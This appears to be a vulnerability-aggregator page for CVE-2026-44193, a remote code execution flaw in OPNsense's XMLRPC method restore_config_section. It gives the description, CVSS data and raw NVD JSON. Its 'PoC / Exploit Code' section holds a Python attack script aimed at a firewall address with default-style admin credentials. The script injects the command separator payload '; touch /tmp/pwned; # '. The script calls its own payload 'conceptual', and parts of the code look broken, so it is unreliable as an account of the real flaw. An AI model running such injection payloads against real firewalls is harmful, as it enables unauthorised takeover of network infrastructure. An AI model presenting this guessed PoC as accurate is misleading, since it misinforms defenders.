Security Vulnerability Report
中文
CVE-2026-44193 CVSS 9.1 CRITICAL

CVE-2026-44193

Published: 2026-05-13 22:16:44
Last Modified: 2026-05-14 20:17:08

Description

OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OPNsense < 26.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import xmlrpc.client import urllib3 # Disable SSL warning for self-signed certificates (common in firewalls) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_opnsense(target_url, username, password): """ Proof of Concept for CVE-2026-44193. Demonstrates calling the vulnerable XMLRPC method. Note: High privileges (Admin/API key) are required. """ try: # Create the XMLRPC client proxy # In a real scenario, authentication headers/tokens might be handled differently client = xmlrpc.client.ServerProxy(target_url, context=urllib3.PoolManager().connection_pool_kw.get('ssl_context')) # The vulnerable method: opnsense.restore_config_section # We construct a malicious payload that attempts to execute a command # Example payload structure (conceptual, actual payload depends on specific backend logic) malicious_payload = { "system": { "user": "root", "group": "wheel", "command": "; touch /tmp/pwned; # " # Injecting command separator } } print(f"[*] Attempting to exploit {target_url}...") # Call the vulnerable method # This assumes the session is already authenticated via cookie or HTTP auth in the URL response = client.opnsense.restore_config_section(malicious_payload) print("[+] Payload sent successfully.") print(f"[+] Server response: {response}") except Exception as e: print(f"[-] Exploitation failed: {e}") if __name__ == "__main__": # Replace with actual target details TARGET = "https://192.168.1.1/xmlrpc.php" USER = "admin" PASS = "opnsense" exploit_opnsense(TARGET, USER, PASS)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44193", "sourceIdentifier": "[email protected]", "published": "2026-05-13T22:16:43.533", "lastModified": "2026-05-14T20:17:07.550", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "references": [{"url": "https://github.com/opnsense/core/security/advisories/GHSA-xxp9-93cr-x54p", "source": "[email protected]"}, {"url": "https://github.com/opnsense/core/security/advisories/GHSA-xxp9-93cr-x54p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}